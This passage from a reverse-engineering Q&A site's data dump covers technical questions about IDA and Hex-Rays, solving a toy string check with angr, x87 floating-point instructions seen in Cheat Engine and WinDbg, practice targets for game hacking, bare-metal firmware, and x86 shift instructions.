&lt;code&gt;ebp&lt;/code&gt; is used to reference the stack and that therefore any &lt;code&gt;ebp&lt;/code&gt; based reference is probably a reference to a stack-based variable. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Could it really just be tonnes of local variables?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It could. However as I've explained in the first paragraph it is impossible to &lt;em&gt;know for sure&lt;/em&gt; whether the original source code had a lot of local variables or a single, a few, or maybe even nested structures. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is however, unnecessary (unless your goal is to reach binary identical code reconstruction) to specifically use the same constructs used in the original code. If your goal is to gain a decent understanding of the code, you should feel free to implement those data structures as you see fit and will be the most intuitive representation for you. You should rely on IDA's structure definitions you make the assembly code as readable to you as possible, without putting too much thought as to how the original source code was written.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Or could it actually be a data structure and this is how IDA is representing it?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Therefore, this is not how &quot;IDA represents it&quot;, but how any compiler will translate the code to assembly. IDA just helps with an interactive interface to the disassembled machine code.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;code&gt;ebp&lt;/code&gt; is the base address of the structure&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;As the function starts with a rather standard &lt;code&gt;mov ebp, esp / sub esp, IMM&lt;/code&gt; it is unlikely that &lt;code&gt;ebp&lt;/code&gt; itself points to a structure. It points to the stack offset at where a new stack frame was created. This is a very common practice. It is very likely, however, that a structure begins at a certain offset on the stack, and &lt;code&gt;ebp&lt;/code&gt; is used to reference it, using the offset from the start of the stack frame.  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The &lt;code&gt;mov&lt;/code&gt; instructions between the &lt;code&gt;mov [...], offset value&lt;/code&gt; are padding bytes&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Assuming you're talking about the &lt;code&gt;mov, REG, IMM&lt;/code&gt; instructions, these are probably register initializations that are used further down the line. They are spread between the stack-based &lt;code&gt;mov&lt;/code&gt; instructions for performance reasons. To oversimplify, pipeline optimizations allow modern processors to assign register values somewhat in parallel to slower RAM write operations, resulting in an overall faster execution.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I'm guessing they are just padding bytes since &lt;code&gt;esi&lt;/code&gt; doesn't contain a value (it was &lt;code&gt;xor&lt;/code&gt; at the top of the screenshot) and is &lt;code&gt;mov ebp + offset&lt;/code&gt; quite a lot in this block.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;esi&lt;/code&gt; register &lt;em&gt;does&lt;/em&gt; contain a value, that value is simply zero. &lt;code&gt;xor&lt;/code&gt;ing a register with itself is a common way to set it to zero, which is shorter than a &lt;code&gt;mov REG, 0&lt;/code&gt; instruction to encode. Additionally, &lt;code&gt;mov OFFSET, REG&lt;/code&gt; is shorter than &lt;code&gt;mov OFFSET, 0&lt;/code&gt;, so overall the compiler saves us a few bytes of code.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2019-02-04T11:58:43.210" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20548" PostTypeId="2" ParentId="20532" CreationDate="2019-02-04T13:09:06.103" Score="4" Body="&lt;p&gt;You have two options, assuming the function is not inlined:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;at the beginning of the function look at the stack, it should point to the caller. In some cases it can be possible to optimise the invocation of the function and instead of using &lt;code&gt;call&lt;/code&gt; use &lt;code&gt;jmp&lt;/code&gt;. For example when one function is a subset of another or in recursive functions.&lt;/li&gt;&#xA;&lt;li&gt;I don't think it's possible via &lt;code&gt;x64dbg&lt;/code&gt; but you could record a trace of the entire execution and then replay the bits you're interested in and check the callers. For this you could use e.g. &lt;a href=&quot;https://rr-project.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://rr-project.org/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="25796" LastActivityDate="2019-02-04T13:09:06.103" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="20552" PostTypeId="2" ParentId="20518" CreationDate="2019-02-04T19:51:56.590" Score="2" Body="&lt;p&gt;Your best &quot;crack-mes&quot; for games are games themselves! If spending money on games is a barrier to entry you'd rather not venture, then consider the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Demo/trial/free-to-play games on Steam. These are all freely available for you to download and work with. There are filters you can toggle to search for these types of games on Steam, so it's easy to find them. Examples: &lt;a href=&quot;https://store.steampowered.com/genre/Free%20to%20Play/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Free to play&lt;/a&gt; and &lt;a href=&quot;https://store.steampowered.com/demos/&quot; rel=&quot;nofollow noreferrer&quot;&gt;free demos&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/List_of_open-source_video_games&quot; rel=&quot;nofollow noreferrer&quot;&gt;Open-source video games&lt;/a&gt;. Once again, these are free games, and they probably more fit the mold of your idea of a game crack-me since they're often somewhat crude/amateur in their artwork. These games have the added benefit of available source code, so you can imagine all the things that are possible if you'd like to dig deeper into specific things!&lt;/li&gt;&#xA;&lt;li&gt;Cheat Engine has &lt;a href=&quot;https://wiki.cheatengine.org/index.php?title=Tutorials:Cheat_Engine_Tutorial_Guide_x64&quot; rel=&quot;nofollow noreferrer&quot;&gt;two of its own crack-mes built in&lt;/a&gt;! One of them is text-based, and the other is graphics-based.&lt;/li&gt;&#xA;&lt;li&gt;As mentioned by Norwald, there are games made to be hacked, such as the PwnAdventure games--all of which (as well as other recommendations) can be found on a &lt;a href=&quot;https://github.com/dsasmblr/game-hacking&quot; rel=&quot;nofollow noreferrer&quot;&gt;game-hacking GitHub repo&lt;/a&gt; I personally run.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://itch.io/games/free&quot; rel=&quot;nofollow noreferrer&quot;&gt;Itch.io is a treasure trove of free-to-play games&lt;/a&gt; created by amateur game developers! You'll find games created within all sorts of engines, which will give you some solid exposure to learning many of the differences between, say, Unity, GameMaker, Flash, etc.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;There are others, but between those recommendations, you'll have exponentially more options than you could take on even if you wanted to! =)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, if you REALLY get into things, I've been running a game-hacking channel on YouTube for ~5 years now, so there's a lot of fantastic educational material there if you're interested--as well as lots of videos showing you the true power of Cheat Engine and many of its buried features. &lt;a href=&quot;https://youtube.com/c/stephenchapman&quot; rel=&quot;nofollow noreferrer&quot;&gt;Check it out sometime&lt;/a&gt; if you're so inclined!&lt;/p&gt;&#xA;" OwnerUserId="20928" LastActivityDate="2019-02-04T19:51:56.590" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="20553" PostTypeId="1" AcceptedAnswerId="20556" CreationDate="2019-02-04T20:19:09.780" Score="0" ViewCount="4002" Body="&lt;p&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/20115/ida-hex-rays-there-are-no-xrefs-to&quot;&gt;This question has already been asked here&lt;/a&gt; but for some reason it was deleted, as &quot;dead&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I will try to explain again. I have a specific data type. It is used in a large number of disassembled functions. This type has a field whose purpose is unknown. I need to find all references to this field in the entire application.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can belive to @Biswapriyo, that this behavior is by design and I cannot find xrefs to the field of data type. Ok, got it. Now I need to find a way to do that! :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps there are any plugin? I don't understand why this can be difficult, since to perform this action, it is enough to generate a .c file, open it in notepad and press Ctrl+F. I want this functionality to be in IDA Hex-Rays.&lt;/p&gt;&#xA;" OwnerUserId="26081" LastActivityDate="2021-02-19T07:20:10.863" Title="IDA Hex-Rays: How to find all references to the certain field of all instances of the data type?" Tags="|ida|hexrays|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20556" PostTypeId="2" ParentId="20553" CreationDate="2019-02-05T05:41:15.850" Score="3" Body="&lt;p&gt;IDA does support structure member cross-references: it will show you everywhere in the disassembly listing that an instruction operand has had that particular structure reference applied to it. See this picture: &lt;a href=&quot;https://i.stack.imgur.com/y8uqw.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/y8uqw.png&quot; alt=&quot;IDA structure cross-references&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, this only works if the structure has been applied on the assembly-language level. Generally speaking, changing the type of a variable in Hex-Rays does not result in structure cross-references being created. Personally, I think this should be standard behavior. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nevertheless, there's a Hex-Rays plugin called &lt;a href=&quot;https://github.com/jkoppel/project-ironfist/tree/master/tools/Revitalize/Referee&quot; rel=&quot;nofollow noreferrer&quot;&gt;Referee&lt;/a&gt; that automatically adds assembly-level structure references based on the Hex-Rays types. There's also an &lt;a href=&quot;https://github.com/joeleong/ida-referee&quot; rel=&quot;nofollow noreferrer&quot;&gt;IDAPython port of Referee&lt;/a&gt;. At the time of writing, neither the C++ nor the IDAPython version has been ported to the latest IDA 7.x SDK.&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2019-02-05T05:41:15.850" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20557" PostTypeId="1" CreationDate="2019-02-05T09:51:31.413" Score="0" ViewCount="2297" Body="&lt;p&gt;Look at this C code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;string.h&amp;gt;&#xA;&#xA;int my_function(char *s);&#xA;&#xA;int my_function(char *s)&#xA;{&#xA;    for (int i=0;i&amp;lt;strlen(s);i++)&#xA;    {&#xA;       s[i]++;&#xA;    }&#xA;    if (strncmp(s,&quot;b{fsuz&quot;,6)==0)&#xA;    {&#xA;       return 1; &#xA;    }&#xA;    return 0;&#xA;}&#xA;&#xA;&#xA;int main(int argc , char *argv[])&#xA;{&#xA;    // Lot of stuff, including UI&#xA;    if (my_function(argv[1])==1)&#xA;    {&#xA;        printf(&quot;Good\n&quot;);&#xA;    }&#xA;    else&#xA;    {&#xA;        printf(&quot;Wrong !\n&quot;);&#xA;    }&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What i want to do is to make a symbolic analysis on my_function (and only this function) with angr.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the function disassembly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;|           ; var int local_28h @ rbp-0x28&#xA;|           ; var int local_14h @ rbp-0x14&#xA;|           ; CALL XREF from 0x000011e7 (main)&#xA;|           0x00001155      55             push rbp&#xA;|           0x00001156      4889e5         mov rbp, rsp&#xA;|           0x00001159      53             push rbx&#xA;|           0x0000115a      4883ec28       sub rsp, 0x28               ; '('&#xA;|           0x0000115e      48897dd8       mov qword [local_28h], rdi&#xA;|           0x00001162      c745ec000000.  mov dword [local_14h], 0&#xA;|       ,=&amp;lt; 0x00001169      eb19           jmp 0x1184&#xA;|      .--&amp;gt; 0x0000116b      8b45ec         mov eax, dword [local_14h]&#xA;|      :|   0x0000116e      4863d0         movsxd rdx, eax&#xA;|      :|   0x00001171      488b45d8       mov rax, qword [local_28h]&#xA;|      :|   0x00001175      4801d0         add rax, rdx                ; '('&#xA;|      :|   0x00001178      0fb610         movzx edx, byte [rax]&#xA;|      :|   0x0000117b      83c201         add edx, 1&#xA;|      :|   0x0000117e      8810           mov byte [rax], dl&#xA;|      :|   0x00001180      8345ec01       add dword [local_14h], 1&#xA;|      :|   ; JMP XREF from 0x00001169 (sym.my_function)&#xA;|      :`-&amp;gt; 0x00001184      8b45ec         mov eax, dword [local_14h]&#xA;|      :    0x00001187      4863d8         movsxd rbx, eax&#xA;|      :    0x0000118a      488b45d8       mov rax, qword [local_28h]&#xA;|      :    0x0000118e      4889c7         mov rdi, rax&#xA;|      :    0x00001191      e8bafeffff     call sym.imp.strlen         ; size_t strlen(const char *s)&#xA;|      :    0x00001196      4839c3         cmp rbx, rax&#xA;|      `==&amp;lt; 0x00001199      72d0           jb 0x116b&#xA;|           0x0000119b      488b45d8       mov rax, qword [local_28h]&#xA;|           0x0000119f      ba06000000     mov edx, 6&#xA;|           0x000011a4      488d35590e00.  lea rsi, str.b_fsuz         ; 0x2004 ; &quot;b{fsuz&quot;&#xA;|           0x000011ab      4889c7         mov rdi, rax&#xA;|           0x000011ae      e87dfeffff     call sym.imp.strncmp        ; int strncmp(const char *s1, const char *s2, size_t n)&#xA;|           0x000011b3      85c0           test eax, eax&#xA;|       ,=&amp;lt; 0x000011b5      7507           jne 0x11be&#xA;|       |   0x000011b7      b801000000     mov eax, 1&#xA;|      ,==&amp;lt; 0x000011bc      eb05           jmp 0x11c3&#xA;|      |`-&amp;gt; 0x000011be      b800000000     mov eax, 0&#xA;|      |    ; JMP XREF from 0x000011bc (sym.my_function)&#xA;|      `--&amp;gt; 0x000011c3      4883c428       add rsp, 0x28               ; '('&#xA;|           0x000011c7      5b             pop rbx&#xA;|           0x000011c8      5d             pop rbp&#xA;\           0x000011c9      c3             ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What i want is to ask angr: Which string should i pass in parameter to my_function in order to get a return of 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what i've done:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import angr&#xA;&#xA;base = 0x400000&#xA;function_start = base + 0x00001155 # 0x0000115e&#xA;function_target = base + 0x000011b7&#xA;function_end = base + 0x000011be&#xA;&#xA;p = angr.Project(&quot;./a.out&quot;)&#xA;state = p.factory.blank_state(addr=function_start)&#xA;a = state.solver.BVS('a', 8*7)&#xA;# state.memory.store(state.regs.rbp-0x28,a)&#xA;state.memory.store(state.regs.rdi,a)&#xA;&#xA;sm = p.factory.simulation_manager(state)&#xA;sm.explore(find=function_target, avoid=function_end)&#xA;&#xA;found_path = sm.found[0]&#xA;print(found_path.state.se.any_str(a))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It displays &quot;a{fsuz&quot; but the good answer is &quot;azerty&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is wrong ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second question: why does angr not found anything if i put 0x00001156 address as function start ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="18590" LastEditorUserId="18590" LastEditDate="2019-02-05T18:24:02.023" LastActivityDate="2019-02-07T06:34:28.490" Title="Solve an angr function with string parameters" Tags="|angr|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20558" PostTypeId="2" ParentId="20557" CreationDate="2019-02-05T11:04:05.203" Score="1" Body="&lt;p&gt;I think you might have a couple of errors there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, and this one shouldn't be too critical, is that your start address is not the function's entry (at &lt;code&gt;0x00001155&lt;/code&gt;). That may have been your intention when you were writing the BVS to the stack, but it is unnecessary now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second and more critical issue is that the BVS &lt;code&gt;a&lt;/code&gt; is 6 bytes long, while it should be 7 bytes long to include the null terminator value that is required for strings of 6 non-null characters for angr's &lt;code&gt;strlen&lt;/code&gt; implementation to function properly.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2019-02-05T11:04:05.203" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20559" PostTypeId="1" AcceptedAnswerId="20560" CreationDate="2019-02-05T12:14:02.470" Score="0" ViewCount="3261" Body="&lt;p&gt;I was reverse engineering a game using cheat engine and trying to trace where my health gets reduced.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically the health gets stored in the stack and then pops out for displaying on the screen. After it pops out I tried to modify the memory address but that didn't work. Which means we need to modify it before it gets placed into the stack. After lots of diligent scrolling back, I came across the following code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;fld qword ptr[ebp-38]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This code basically pushes my health onto the stack. However, there are a whole bunch of really odd things in this code:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;This code pushes a value into the float register. It pushes my health float value (71.70) &lt;strong&gt;onto the Float registers&lt;/strong&gt;. However, it is not clear from where its getting this value from. From [EBP-38]? It can't be that because that stores the value &quot;-2.0&quot;.&lt;/li&gt;&#xA;&lt;li&gt;Once the value is pushed onto the Float registers, I notice that a value has been &lt;strong&gt;pushed onto the first register&lt;/strong&gt; and all other values &lt;strong&gt;seem to be shifted.&lt;/strong&gt; Both of these changes happen from just 1 instruction. Please take a look at the screenshot to see what I'm talking about.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;(If screenshot doesn't show big then right-click and &quot;open in new tab&quot; for a bigger size).&#xA;&lt;a href=&quot;https://i.stack.imgur.com/PcV4I.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/PcV4I.png&quot; alt=&quot;cheat engine showing the line that adds our data&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;Here's the really odd part. If I select this code in cheat engine then it shows the details of the operation on the right pane. There it shows that the value being moved is &quot;double&quot;. However, this is supposed to be a floating point instruction. So shouldn't a float value get moved?&lt;/li&gt;&#xA;&lt;li&gt;Another odd thing is that after the value is moved, the float register shows that all 0s have been moved. The existing value is shifted down.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Cb4Hy.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Cb4Hy.png&quot; alt=&quot;after the fld instruction has executed the float registers have changed&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) What does this instruction do exactly?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) To change this value to a custom value, can I change the source address? (wherever that is?). Assuming that that is [EBP-38] If yes, then can I use a simple move instruction for this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like mov [ebp-38], (hex value for 99 float)?&lt;/p&gt;&#xA;" OwnerUserId="27291" LastActivityDate="2019-12-16T11:27:50.173" Title="What is this assembly code, fld qword ptr code here doing? Also, how do I store my own value?" Tags="|assembly|cheat-engine|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20560" PostTypeId="2" ParentId="20559" CreationDate="2019-02-05T12:28:29.947" Score="1" Body="&lt;p&gt;Qword is 8 bytes not 4 bytes so what you show in your first screen shot as 32 bit value is not correct representation&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ebp-38 is an address &#xA;it can point to x y z where x,y,z can be char , int , float  , double , &quot;your fancy new secret type&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Qword qualifies the address with the type here it says it is a 64 bit numeric &lt;/p&gt;&#xA;&#xA;&lt;p&gt;float operations opearate on float (32) / double (64) / and ? long double ?? 80 &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cdb -c &quot;.formats 4051eccc`c0000000;q&quot; cdb | grep -iE &quot;Double|Float&quot;&#xA;  Float:   low -2 high 3.28008&#xA;  Double:  71.7&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you can see how float operations work on botb 32 bit as well as 64 bit based on bit size type qualifiers assembling some instructions in-place &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; a .&#xA;771f05a6 push 4051eccc&#xA;771f05ab push 0xc0000000&#xA;771f05b0 fld qword ptr [esp]&#xA;771f05b3 fld dword ptr [esp]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;disassembling to confirm &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;771f05b6&#xA;0:000&amp;gt; u . l4&#xA;ntdll!LdrpDoDebuggerBreak+0x2c:&#xA;771f05a6 68ccec5140      push    4051ECCCh&#xA;771f05ab 68000000c0      push    0C0000000h&#xA;771f05b0 dd0424          fld     qword ptr [esp]&#xA;771f05b3 d90424          fld     dword ptr [esp]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;stepping through to see the results&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; &#xA;771f05a6 68ccec5140      push    4051ECCCh&#xA;0:000&amp;gt; t&#xA;771f05ab 68000000c0      push    0C0000000h&#xA;0:000&amp;gt; t&#xA;771f05b0 dd0424          fld     qword ptr [esp] ss:0023:000af874=4051ecccc0000000&#xA;0:000&amp;gt; t&#xA;771f05b3 d90424          fld     dword ptr [esp]      ss:0023:000af874=c0000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;querying registers&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; r st0&#xA;st0=-2.0000000000000e+0000 (1:4000:8000000000000000)&#xA;0:000&amp;gt; r st1&#xA;st1= 7.16999969482421875000000000000e+0001 (0:4005:8f66660000000000)&#xA;0:000&amp;gt; dd esp l2&#xA;000af874  c0000000 4051eccc&#xA;&#xA;0:000&amp;gt; ?? *(float *) @@masm(@esp)&#xA;float -2&#xA;&#xA;0:000&amp;gt; ?? *(double *) @@masm(@esp)&#xA;double 71.6999969482421875&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you should better read this to learn how fpu works why the top slot is copied etc At &lt;a href=&quot;http://www.ray.masmcode.com/tutorial/index.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Simply FPU by Raymond Filiatreault&lt;/a&gt;  read chapter 1 internals where he explains how st registers are loaded and copied and trashed an unloaded&lt;/p&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2019-02-05T13:20:05.167" LastActivityDate="2019-02-05T13:20:05.167" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="20562" PostTypeId="2" ParentId="20557" CreationDate="2019-02-06T08:39:38.470" Score="1" Body="&lt;p&gt;There is a problem in how you declare that string to angr. I started with your example code and checked if it works when I assign some address for the argument witch is checked. My best guess is that &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;state.memory.store(state.regs.rdi,a)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does not do what you expect it to do.&#xA;Here is the full solution (addresses may differ):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# coding: utf8&#xA;import angr&#xA;&#xA;function_start = 0x400590&#xA;function_target = 0x400603&#xA;function_end = 0x400616&#xA;dummy_addr = 0x300000&#xA;&#xA;p = angr.Project(&quot;./a.out&quot;)&#xA;state = p.factory.blank_state(addr=function_start)&#xA;a = state.solver.BVS('a', 8 * 7)&#xA;state.memory.store(dummy_addr, a)&#xA;state.regs.rdi = dummy_addr&#xA;&#xA;sm = p.factory.simulation_manager(state)&#xA;sm.explore(find=function_target, avoid=function_end)&#xA;&#xA;found_path = sm.found[0]&#xA;print found_path.state.se.eval(a, cast_to=bytes)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;edit&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;stack solution as requested&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please note my variables are located at a different offset (clang/gcc)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# coding: utf8&#xA;import angr&#xA;&#xA;function_start = 0x40059c&#xA;function_target = 0x400603&#xA;function_end = 0x400616&#xA;dummy_addr = 0x300000&#xA;&#xA;p = angr.Project(&quot;./a.out&quot;)&#xA;state = p.factory.blank_state(addr=function_start)&#xA;a = state.solver.BVS('a', 8 * 7)&#xA;state.memory.store(dummy_addr, a)&#xA;state.mem[state.regs.rbp-0x10].uint64_t = dummy_addr&#xA;&#xA;sm = p.factory.simulation_manager(state)&#xA;sm.explore(find=function_target, avoid=function_end)&#xA;&#xA;found_path = sm.found[0]&#xA;print found_path.state.se.eval(a, cast_to=bytes)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3162" LastEditorUserId="3162" LastEditDate="2019-02-07T06:34:28.490" LastActivityDate="2019-02-07T06:34:28.490" CommentCount="11" ContentLicense="CC BY-SA 4.0" />
  <row Id="20563" PostTypeId="1" CreationDate="2019-02-06T09:59:59.057" Score="1" ViewCount="872" Body="&lt;p&gt;this question is a follow-up from this previous post: &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/20348/flash-dump-binwalk-blank-low-entropy&quot;&gt;Flash dump binwalk blank, low entropy&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to reverse engineer a firmware from a very secure device. I was able to reverse engineer the PCB and create a JTAG connector, which I used to read the EPROM memory. I tried to binwalk and all other software techniques but they all failed to provide any lead to what is in the firmware.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then tried to open the file in IDA, and I could translate all memory blocks into Assembly instructions. Is it possible that the firmware does not reside in any operating system, but instead is only a set of Assembly instructions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If indeed is just a set of instructions, would binwalk point anything confirming that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;File has 256Kb.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the processor: STM32L 152CCT6&lt;/p&gt;&#xA;" OwnerUserId="27071" LastEditorUserId="245" LastEditDate="2019-02-06T23:29:40.320" LastActivityDate="2020-05-26T01:02:40.273" Title="Firmware reverse engineering" Tags="|arm|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20564" PostTypeId="2" ParentId="20563" CreationDate="2019-02-06T10:35:19.737" Score="1" Body="&lt;p&gt;Yep it could be just &quot;bare metal&quot; code without any OS or standard data structures which binwalk can carve.&lt;/p&gt;&#xA;" OwnerUserId="22324" LastActivityDate="2019-02-06T10:35:19.737" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20565" PostTypeId="2" ParentId="20513" CreationDate="2019-02-07T04:49:22.247" Score="11" Body="&lt;p&gt;First it should be noted that there are so many architectures out there, &lt;em&gt;each with its own instruction set&lt;/em&gt;. Here I assume you mean &lt;a href=&quot;/questions/tagged/x86&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;x86&amp;#39;&quot; rel=&quot;tag&quot;&gt;x86&lt;/a&gt; (and you should indeed tag the proper architecture as 0xC0000022L said above). Most parts of the below answer would apply to other architectures as well, but they may use different mnemonics or lack some mentioned instructions&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;&lt;code&gt;SAL&lt;/code&gt; and &lt;code&gt;SHL&lt;/code&gt; are the same.&lt;/strong&gt; They're simply &lt;a href=&quot;http://www.felixcloutier.com/x86/SAL:SAR:SHL:SHR.html&quot; rel=&quot;noreferrer&quot;&gt;aliases to the same opcode&lt;/a&gt; because shifting left &lt;em&gt;always fill the vacant bits with 0s&lt;/em&gt;. In C &lt;code&gt;&amp;lt;&amp;lt;&lt;/code&gt; will do a shift left, and whether the shift instruction is printed as &lt;em&gt;SAL&lt;/em&gt; or &lt;em&gt;SHL&lt;/em&gt; depends on the compiler/disassembler&lt;/p&gt;&#xA;&lt;p&gt;OTOH there are 2 versions of right shift because you can fill the bits that were shifted out with zero &lt;em&gt;(&lt;a href=&quot;https://en.wikipedia.org/wiki/Logical_shift&quot; rel=&quot;noreferrer&quot;&gt;logical shift&lt;/a&gt;)&lt;/em&gt; or the high bit of the old value &lt;em&gt;(&lt;a href=&quot;https://en.wikipedia.org/wiki/Arithmetic_shift&quot; rel=&quot;noreferrer&quot;&gt;arithmetic shift&lt;/a&gt;)&lt;/em&gt;. &lt;code&gt;SAR&lt;/code&gt; does an arithmetic shift and &lt;code&gt;SHR&lt;/code&gt; does a logical shift. In C the operator for right shifting is &lt;code&gt;&amp;gt;&amp;gt;&lt;/code&gt;, but the rule depends on the signness of the type:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A right shift on an unsigned type is always a logical shift, therefore &lt;code&gt;SHR&lt;/code&gt; will be used&lt;/li&gt;&#xA;&lt;li&gt;A right shift on a signed type is implementation defined, i.e. the compiler can choose to do an arithmetic or a logical shift. However almost all modern compilers will do an arithmetic shift (&lt;code&gt;SAR&lt;/code&gt;) on signed types (otherwise doing arithmetic shift would be too tricky/clumsy). Some compilers may have an option to select the right shift variant though&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Per the &lt;a 